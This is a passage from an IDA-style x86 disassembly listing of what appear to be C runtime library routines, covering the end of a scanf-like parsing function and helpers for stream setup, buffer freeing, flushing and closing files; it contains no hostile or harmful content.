sub_421020 add esp, 4 mov [ebp+var_1D8], eax jmp loc_420AC9 ; --------------------------------------------------------------------------- loc_420B64: ; CODE XREF: sub_41FBE0+E97j ; sub_41FBE0+EABj ... cmp [ebp+var_6C], 0 jz loc_420CC9 cmp [ebp+var_1D8], 65h jz short loc_420B84 cmp [ebp+var_1D8], 45h jnz loc_420CC9 loc_420B84: ; CODE XREF: sub_41FBE0+F95j mov ecx, [ebp+var_1C] mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx test ecx, ecx jz loc_420CC9 mov eax, [ebp+var_1E0] mov byte ptr [eax], 65h mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 2Dh jnz short loc_420BEE mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 2Dh mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx jmp short loc_420BF7 ; --------------------------------------------------------------------------- loc_420BEE: ; CODE XREF: sub_41FBE0+FF2j cmp [ebp+var_1D8], 2Bh jnz short loc_420C2D loc_420BF7: ; CODE XREF: sub_41FBE0+100Cj mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jnz short loc_420C12 mov edx, [ebp+var_1C] add edx, 1 mov [ebp+var_1C], edx jmp short loc_420C2D ; --------------------------------------------------------------------------- loc_420C12: ; CODE XREF: sub_41FBE0+1025j mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax loc_420C2D: ; CODE XREF: sub_41FBE0+1015j ; sub_41FBE0+1030j ... cmp dword_442F58, 1 jle short loc_420C4F push 4 mov edx, [ebp+var_1D8] push edx call sub_41E750 add esp, 8 mov [ebp+var_220], eax jmp short loc_420C6A ; --------------------------------------------------------------------------- loc_420C4F: ; CODE XREF: sub_41FBE0+1054j mov eax, [ebp+var_1D8] mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_220], edx loc_420C6A: ; CODE XREF: sub_41FBE0+106Dj cmp [ebp+var_220], 0 jz short loc_420CC9 mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz short loc_420CC9 mov edx, [ebp+var_6C] add edx, 1 mov [ebp+var_6C], edx mov eax, [ebp+var_1E0] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx call sub_421020 add esp, 4 mov [ebp+var_1D8], eax jmp loc_420C2D ; --------------------------------------------------------------------------- loc_420CC9: ; CODE XREF: sub_41FBE0+F88j ; sub_41FBE0+F9Ej ... mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421080 add esp, 8 cmp [ebp+var_6C], 0 jz short loc_420D23 movsx edx, [ebp+var_70] test edx, edx jnz short loc_420D21 mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax mov ecx, [ebp+var_1E0] mov byte ptr [ecx], 0 lea edx, [ebp+var_1D0] push edx mov eax, [ebp+var_3C] push eax movsx ecx, [ebp+var_38] sub ecx, 1 push ecx call off_443208 add esp, 0Ch loc_420D21: ; CODE XREF: sub_41FBE0+1111j jmp short loc_420D28 ; --------------------------------------------------------------------------- loc_420D23: ; CODE XREF: sub_41FBE0+1109j jmp loc_420ECA ; --------------------------------------------------------------------------- loc_420D28: ; CODE XREF: sub_41FBE0:loc_420D21j jmp short loc_420D74 ; --------------------------------------------------------------------------- loc_420D2A: ; CODE XREF: sub_41FBE0+3B0j ; sub_41FBE0+3C4j ; DATA XREF: ... mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] cmp eax, [ebp+var_1D8] jz short loc_420D5A mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_421080 add esp, 8 jmp loc_420ECA ; --------------------------------------------------------------------------- loc_420D5A: ; CODE XREF: sub_41FBE0+1157j mov cl, [ebp+var_28] sub cl, 1 mov [ebp+var_28], cl movsx edx, [ebp+var_70] test edx, edx jnz short loc_420D74 mov eax, [ebp+var_1D4] mov [ebp+arg_8], eax loc_420D74: ; CODE XREF: sub_41FBE0:loc_4203D6j ; sub_41FBE0:loc_42093Dj ... mov cl, [ebp+var_28] add cl, 1 mov [ebp+var_28], cl jmp short loc_420DA0 ; --------------------------------------------------------------------------- loc_420D7F: ; CODE XREF: sub_41FBE0+38Bj mov edx, [ebp+var_20] sub edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax mov ecx, [ebp+var_1D8] push ecx call sub_421080 add esp, 8 jmp loc_420ECA ; --------------------------------------------------------------------------- loc_420DA0: ; CODE XREF: sub_41FBE0+119Dj mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx jmp loc_420EA1 ; --------------------------------------------------------------------------- loc_420DAE: ; CODE XREF: sub_41FBE0+11Dj mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1D8], eax mov ecx, [ebp+var_1D8] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_420E06 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_421080 add esp, 8 jmp loc_420ECA ; --------------------------------------------------------------------------- loc_420E06: ; CODE XREF: sub_41FBE0+1203j mov eax, [ebp+var_1D8] and eax, 0FFh mov ecx, off_442D4C xor edx, edx mov dx, [ecx+eax*2] and edx, 8000h test edx, edx jz short loc_420EA1 mov eax, [ebp+var_20] add eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] mov esi, edx mov eax, [ebp+arg_0] push eax call sub_421020 add esp, 4 mov [ebp+var_1F4], eax mov ecx, [ebp+var_1F4] mov edx, [ebp+arg_4] add edx, 1 mov [ebp+arg_4], edx cmp esi, ecx jz short loc_420E98 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1F4] push edx call sub_421080 add esp, 8 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_421080 add esp, 8 jmp short loc_420ECA ; --------------------------------------------------------------------------- loc_420E98: ; CODE XREF: sub_41FBE0+127Cj mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax loc_420EA1: ; CODE XREF: sub_41FBE0+11C9j ; sub_41FBE0+1245j cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_420EC5 mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz short loc_420EC3 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax+1] cmp ecx, 6Eh jz short loc_420EC5 loc_420EC3: ; CODE XREF: sub_41FBE0+12D4j jmp short loc_420ECA ; --------------------------------------------------------------------------- loc_420EC5: ; CODE XREF: sub_41FBE0+12C8j ; sub_41FBE0+12E1j jmp loc_41FC57 ; --------------------------------------------------------------------------- loc_420ECA: ; CODE XREF: sub_41FBE0+80j ; sub_41FBE0+635j ... cmp [ebp+var_1D8], 0FFFFFFFFh jnz short loc_420EFE cmp [ebp+var_34], 0 jnz short loc_420EED movsx edx, [ebp+var_28] test edx, edx jnz short loc_420EED mov [ebp+var_224], 0FFFFFFFFh jmp short loc_420EF6 ; --------------------------------------------------------------------------- loc_420EED: ; CODE XREF: sub_41FBE0+12F7j ; sub_41FBE0+12FFj mov eax, [ebp+var_34] mov [ebp+var_224], eax loc_420EF6: ; CODE XREF: sub_41FBE0+130Bj mov eax, [ebp+var_224] jmp short loc_420F01 ; --------------------------------------------------------------------------- loc_420EFE: ; CODE XREF: sub_41FBE0+12F1j mov eax, [ebp+var_34] loc_420F01: ; CODE XREF: sub_41FBE0+131Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_41FBE0 endp ; --------------------------------------------------------------------------- off_420F08 dd offset loc_41FE9A ; DATA XREF: sub_41FBE0+239r dd offset loc_41FE20 dd offset loc_41FE38 dd offset loc_41FE7C dd offset loc_41FE25 dd offset loc_41FE87 dd offset loc_41FE8F dd offset loc_41FEA5 byte_420F28 db 0 ; DATA XREF: sub_41FBE0+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_420F76 dd offset loc_41FFAB ; DATA XREF: sub_41FBE0+3C4r dd offset loc_4204E4 dd offset loc_420957 dd offset loc_4203DB dd offset loc_420942 dd offset loc_4204E0 dd offset loc_41FFF1 dd offset loc_4203E2 dd offset loc_420016 dd offset loc_420D2A byte_420F9E db 0 ; DATA XREF: sub_41FBE0+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420FC0 proc near ; CODE XREF: sub_41FBE0+9E9p ; sub_41FBE0+BCCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 cmp dword_442F58, 1 jle short loc_420FE2 push 4 mov eax, [ebp+arg_0] push eax call sub_41E750 add esp, 8 mov [ebp+var_4], eax jmp short loc_420FF7 ; --------------------------------------------------------------------------- loc_420FE2: ; CODE XREF: sub_420FC0+Dj mov ecx, [ebp+arg_0] mov edx, off_442D4C xor eax, eax mov ax, [edx+ecx*2] and eax, 4 mov [ebp+var_4], eax loc_420FF7: ; CODE XREF: sub_420FC0+20j cmp [ebp+var_4], 0 jz short loc_421005 mov ecx, [ebp+arg_0] mov [ebp+var_8], ecx jmp short loc_421011 ; --------------------------------------------------------------------------- loc_421005: ; CODE XREF: sub_420FC0+3Bj mov edx, [ebp+arg_0] and edx, 0FFFFFFDFh sub edx, 7 mov [ebp+var_8], edx loc_421011: ; CODE XREF: sub_420FC0+43j mov eax, [ebp+var_8] mov esp, ebp pop ebp retn sub_420FC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421020 proc near ; CODE XREF: sub_41FBE0+370p ; sub_41FBE0+698p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, 1 mov edx, [ebp+arg_0] mov [edx+4], ecx mov eax, [ebp+arg_0] cmp dword ptr [eax+4], 0 jl short loc_42105B mov ecx, [ebp+arg_0] mov edx, [ecx] movsx eax, byte ptr [edx] and eax, 0FFh mov [ebp+var_4], eax mov ecx, [ebp+arg_0] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_0] mov [eax], edx jmp short loc_42106A ; --------------------------------------------------------------------------- loc_42105B: ; CODE XREF: sub_421020+1Aj mov ecx, [ebp+arg_0] push ecx call sub_421790 add esp, 4 mov [ebp+var_4], eax loc_42106A: ; CODE XREF: sub_421020+39j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421020 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421080 proc near ; CODE XREF: sub_41FBE0+ECp ; sub_41FBE0+666p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 0FFFFFFFFh jz short loc_421099 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_427990 add esp, 8 loc_421099: ; CODE XREF: sub_421080+7j pop ebp retn sub_421080 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210A0 proc near ; CODE XREF: sub_41FBE0+E3p ; sub_41FBE0+353p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx loc_4210A4: ; CODE XREF: sub_4210A0+30j mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_4] push eax call sub_421020 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_427670 add esp, 4 test eax, eax jz short loc_4210D2 jmp short loc_4210A4 ; --------------------------------------------------------------------------- loc_4210D2: ; CODE XREF: sub_4210A0+2Ej mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_4210A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4210E0 proc near ; DATA XREF: .data:0043400Co var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_493760, 0 jnz short loc_4210F9 mov dword_493760, 200h jmp short loc_42110C ; --------------------------------------------------------------------------- loc_4210F9: ; CODE XREF: sub_4210E0+Bj cmp dword_493760, 14h jge short loc_42110C mov dword_493760, 14h loc_42110C: ; CODE XREF: sub_4210E0+17j ; sub_4210E0+20j push 83h push offset a_file_c ; "_file.c" push 2 push 4 mov eax, dword_493760 push eax call sub_416E40 add esp, 14h mov dword_492750, eax cmp dword_492750, 0 jnz short loc_421175 mov dword_493760, 14h push 86h push offset a_file_c ; "_file.c" push 2 push 4 mov ecx, dword_493760 push ecx call sub_416E40 add esp, 14h mov dword_492750, eax cmp dword_492750, 0 jnz short loc_421175 push 1Ah call sub_41BAE0 add esp, 4 loc_421175: ; CODE XREF: sub_4210E0+54j ; sub_4210E0+89j mov [ebp+var_4], 0 jmp short loc_421187 ; --------------------------------------------------------------------------- loc_42117E: ; CODE XREF: sub_4210E0+C4j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_421187: ; CODE XREF: sub_4210E0+9Cj cmp [ebp+var_4], 14h jge short loc_4211A6 mov eax, [ebp+var_4] shl eax, 5 add eax, offset off_442F80 mov ecx, [ebp+var_4] mov edx, dword_492750 mov [edx+ecx*4], eax jmp short loc_42117E ; --------------------------------------------------------------------------- loc_4211A6: ; CODE XREF: sub_4210E0+ABj mov [ebp+var_4], 0 jmp short loc_4211B8 ; --------------------------------------------------------------------------- loc_4211AF: ; CODE XREF: sub_4210E0:loc_421206j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_4211B8: ; CODE XREF: sub_4210E0+CDj cmp [ebp+var_4], 3 jge short loc_421208 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] cmp dword ptr [eax+edx], 0FFFFFFFFh jz short loc_4211F6 mov ecx, [ebp+var_4] sar ecx, 5 mov edx, [ebp+var_4] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] cmp dword ptr [eax+edx], 0 jnz short loc_421206 loc_4211F6: ; CODE XREF: sub_4210E0+F8j mov ecx, [ebp+var_4] shl ecx, 5 mov dword_442F90[ecx], 0FFFFFFFFh loc_421206: ; CODE XREF: sub_4210E0+114j jmp short loc_4211AF ; --------------------------------------------------------------------------- loc_421208: ; CODE XREF: sub_4210E0+DCj mov esp, ebp pop ebp retn sub_4210E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421210 proc near ; DATA XREF: .data:0043401Co push ebp mov ebp, esp call sub_421640 movsx eax, byte_4920C8 test eax, eax jz short loc_421228 call sub_427AD0 loc_421228: ; CODE XREF: sub_421210+11j pop ebp retn sub_421210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421230 proc near ; CODE XREF: sub_419740+55p ; sub_419B30+80p ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_442F80 jb short loc_42125E cmp [ebp+arg_0], offset dword_4431E0 ja short loc_42125E mov eax, [ebp+arg_0] sub eax, offset off_442F80 sar eax, 5 add eax, 1Ch push eax call sub_41BC90 add esp, 4 jmp short loc_42126B ; --------------------------------------------------------------------------- loc_42125E: ; CODE XREF: sub_421230+Aj ; sub_421230+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call ds:dword_494304 loc_42126B: ; CODE XREF: sub_421230+2Cj pop ebp retn sub_421230 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421270 proc near ; CODE XREF: sub_421650+7Ep ; sub_421D10+6Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_42128A mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41BC90 add esp, 4 jmp short loc_421297 ; --------------------------------------------------------------------------- loc_42128A: ; CODE XREF: sub_421270+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call ds:dword_494304 loc_421297: ; CODE XREF: sub_421270+18j pop ebp retn sub_421270 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4212A0 proc near ; CODE XREF: sub_419740+70p ; sub_419B30+12Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], offset off_442F80 jb short loc_4212CE cmp [ebp+arg_0], offset dword_4431E0 ja short loc_4212CE mov eax, [ebp+arg_0] sub eax, offset off_442F80 sar eax, 5 add eax, 1Ch push eax call sub_41BD30 add esp, 4 jmp short loc_4212DB ; --------------------------------------------------------------------------- loc_4212CE: ; CODE XREF: sub_4212A0+Aj ; sub_4212A0+13j mov ecx, [ebp+arg_0] add ecx, 20h push ecx call ds:dword_494300 loc_4212DB: ; CODE XREF: sub_4212A0+2Cj pop ebp retn sub_4212A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4212E0 proc near ; CODE XREF: sub_421650+116p ; sub_421D10+A0p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_0], 14h jge short loc_4212FA mov eax, [ebp+arg_0] add eax, 1Ch push eax call sub_41BD30 add esp, 4 jmp short loc_421307 ; --------------------------------------------------------------------------- loc_4212FA: ; CODE XREF: sub_4212E0+7j mov ecx, [ebp+arg_4] add ecx, 20h push ecx call ds:dword_494300 loc_421307: ; CODE XREF: sub_4212E0+18j pop ebp retn sub_4212E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421310 proc near ; CODE XREF: sub_4197D0+71p ; sub_4282A0+400p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp eax, dword_492520 jnb short loc_421341 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_492420[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_42135C loc_421341: ; CODE XREF: sub_421310+Dj call sub_422F20 mov dword ptr [eax], 9 call sub_422F30 mov dword ptr [eax], 0 or eax, 0FFFFFFFFh jmp short loc_421386 ; --------------------------------------------------------------------------- loc_42135C: ; CODE XREF: sub_421310+2Fj mov edx, [ebp+arg_0] push edx call sub_4280C0 add esp, 4 mov eax, [ebp+arg_0] push eax call sub_421390 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_0] push ecx call sub_428150 add esp, 4 mov eax, [ebp+var_4] loc_421386: ; CODE XREF: sub_421310+4Aj mov esp, ebp pop ebp retn sub_421310 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421390 proc near ; CODE XREF: sub_421310+5Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] push eax call sub_427F40 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_4213E3 cmp [ebp+arg_0], 1 jz short loc_4213B2 cmp [ebp+arg_0], 2 jnz short loc_4213CC loc_4213B2: ; CODE XREF: sub_421390+1Aj push 1 call sub_427F40 add esp, 4 mov esi, eax push 2 call sub_427F40 add esp, 4 cmp esi, eax jz short loc_4213E3 loc_4213CC: ; CODE XREF: sub_421390+20j mov ecx, [ebp+arg_0] push ecx call sub_427F40 add esp, 4 push eax call ds:dword_4942E0 test eax, eax jz short loc_4213EC loc_4213E3: ; CODE XREF: sub_421390+14j ; sub_421390+3Aj mov [ebp+var_4], 0 jmp short loc_4213F5 ; --------------------------------------------------------------------------- loc_4213EC: ; CODE XREF: sub_421390+51j call ds:dword_4942F0 mov [ebp+var_4], eax loc_4213F5: ; CODE XREF: sub_421390+5Aj mov edx, [ebp+arg_0] push edx call sub_427E60 add esp, 4 mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_492420[eax*4] mov byte ptr [edx+ecx+4], 0 cmp [ebp+var_4], 0 jz short loc_421433 mov eax, [ebp+var_4] push eax call sub_422E80 add esp, 4 or eax, 0FFFFFFFFh jmp short loc_421435 ; --------------------------------------------------------------------------- loc_421433: ; CODE XREF: sub_421390+90j xor eax, eax loc_421435: ; CODE XREF: sub_421390+A1j pop esi mov esp, ebp pop ebp retn sub_421390 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421440 proc near ; CODE XREF: sub_4197D0+62p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi loc_421446: ; CODE XREF: sub_421440+2Ej cmp [ebp+arg_0], 0 jnz short loc_42146A push offset aStreamNull ; "stream != NULL" push 0 push 30h push offset a_freebuf_c ; "_freebuf.c" push 2 call sub_41BF80 add esp, 14h cmp eax, 1 jnz short loc_42146A int 3 ; Trap to Debugger loc_42146A: ; CODE XREF: sub_421440+Aj ; sub_421440+27j xor eax, eax test eax, eax jnz short loc_421446 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 83h test edx, edx jz short loc_4214CD mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] and ecx, 8 test ecx, ecx jz short loc_4214CD push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_4174C0 add esp, 8 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 0FFFFFBF7h mov eax, [ebp+arg_0] mov [eax+0Ch], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 loc_4214CD: ; CODE XREF: sub_421440+3Ej ; sub_421440+4Bj pop edi pop esi pop ebx pop ebp retn sub_421440 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx cmp dword ptr [ebp+8], 0 jnz short loc_4214F6 push 0 call sub_421650 add esp, 4 jmp short loc_421520 ; --------------------------------------------------------------------------- loc_4214F6: ; CODE XREF: .text:004214E8j mov eax, [ebp+8] push eax call sub_421230 add esp, 4 mov ecx, [ebp+8] push ecx call sub_421530 add esp, 4 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_4212A0 add esp, 4 mov eax, [ebp-4] loc_421520: ; CODE XREF: .text:004214F4j mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421530 proc near ; CODE XREF: .text:00421506p ; sub_421650+B1p ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] push eax call sub_421580 add esp, 4 test eax, eax jz short loc_421548 or eax, 0FFFFFFFFh jmp short loc_42156F ; --------------------------------------------------------------------------- loc_421548: ; CODE XREF: sub_421530+11j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] and edx, 4000h test edx, edx jz short loc_42156D mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_428180 add esp, 4 neg eax sbb eax, eax jmp short loc_42156F ; --------------------------------------------------------------------------- loc_42156D: ; CODE XREF: sub_421530+26j xor eax, eax loc_42156F: ; CODE XREF: sub_421530+16j ; sub_421530+3Bj pop ebp retn sub_421530 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421580 proc near ; CODE XREF: sub_4197D0+53p ; sub_41A0D0+F8p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 3 cmp edx, 2 jnz short loc_42161B mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 108h test ecx, ecx jz short loc_42161B mov edx, [ebp+var_8] mov eax, [ebp+var_8] mov ecx, [edx] sub ecx, [eax+8] mov [ebp+var_C], ecx cmp [ebp+var_C], 0 jle short loc_42161B mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] mov ecx, [eax+8] push ecx mov edx, [ebp+var_8] mov eax, [edx+10h] push eax call sub_422370 add esp, 0Ch cmp eax, [ebp+var_C] jnz short loc_421605 mov ecx, [ebp+var_8] mov edx, [ecx+0Ch] and edx, 80h test edx, edx jz short loc_421603 mov eax, [ebp+var_8] mov ecx, [eax+0Ch] and ecx, 0FFFFFFFDh mov edx, [ebp+var_8] mov [edx+0Ch], ecx loc_421603: ; CODE XREF: sub_421580+72j jmp short loc_42161B ; --------------------------------------------------------------------------- loc_421605: ; CODE XREF: sub_421580+62j mov eax, [ebp+var_8] mov ecx, [eax+0Ch] or ecx, 20h mov edx, [ebp+var_8] mov [edx+0Ch], ecx mov [ebp+var_4], 0FFFFFFFFh loc_42161B: ; CODE XREF: sub_421580+1Fj ; sub_421580+2Fj ... mov eax, [ebp+var_8] mov ecx, [ebp+var_8] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_8] mov dword ptr [eax+4], 0 mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_421580 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421640 proc near ; CODE XREF: sub_421210+3p push ebp mov ebp, esp push 1 call sub_421650 add esp, 4 pop ebp retn sub_421640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_421650 proc near ; CODE XREF: .text:004214ECp ; sub_421640+5p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_4], 0 mov [ebp+var_8], 0 push 2 call sub_41BC90 add esp, 4 mov [ebp+var_C], 0 jmp short loc_421680 ; --------------------------------------------------------------------------- loc_421677: ; CODE XREF: sub_421650:loc_42176Ej mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_421680: ; CODE XREF: sub_421650+25j mov ecx, [ebp+var_C] cmp ecx, dword_493760 jge loc_421773 mov edx, [ebp+var_C] mov eax, dword_492750 cmp dword ptr [eax+edx*4], 0 jz loc_42176E mov ecx, [ebp+var_C] mov edx, dword_492750 mov eax, [edx+ecx*4] mov ecx, [eax+0Ch] and ecx, 83h test ecx, ecx jz loc_42176E mov edx, [ebp+var_C] mov eax, dword_492750 mov ecx, [eax+edx*4] push ecx mov edx, [ebp+var_C] push edx call sub_421270 add esp, 8 mov eax, [ebp+var_C] mov ecx, dword_492750 mov edx, [ecx+eax*4] mov eax, [edx+0Ch] and eax, 83h test eax, eax jz short loc_421755 cmp [ebp+arg_0], 1 jnz short loc_421719 mov ecx, [ebp+var_C] mov edx, dword_492750 mov eax, [edx+ecx*4] push eax call sub_421530 add esp, 4 cmp eax, 0FFFFFFFFh jz short loc_421717 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_421717: ; CODE XREF: sub_421650+BCj jmp short loc_421755 ; --------------------------------------------------------------------------- loc_421719: ; CODE XREF: sub_421650+A2j cmp [ebp+arg_0], 0 jnz short loc_421755 mov edx, [ebp+var_C] mov eax, dword_492750 mov ecx, [eax+edx*4] mov edx, [ecx+0Ch] and edx, 2 test edx, edx jz short loc_421755 mov eax, [ebp+var_C] mov ecx, dword_492750 mov edx, [ecx+eax*4] push edx call sub_421530 add esp, 4 cmp eax, 0FFFFFFFFh jnz short loc_421755 mov [ebp+var_8], 0FFFFFFFFh loc_421755: ; CODE XREF: sub_421650+9Cj ; sub_421650:loc_421717j ... mov eax, [ebp+var_C] mov ecx, dword_492750 mov edx, [ecx+eax*4] push edx mov eax, [ebp+var_C] push eax call sub_4212E0 add esp, 8 loc_42176E: ; CODE XREF: sub_421650+4Bj ; sub_421650+68j jmp loc_421677 ; --------------------------------------------------------------------------- loc_421773: ; CODE XREF: sub_421650+39j push 2 call sub_41BD30 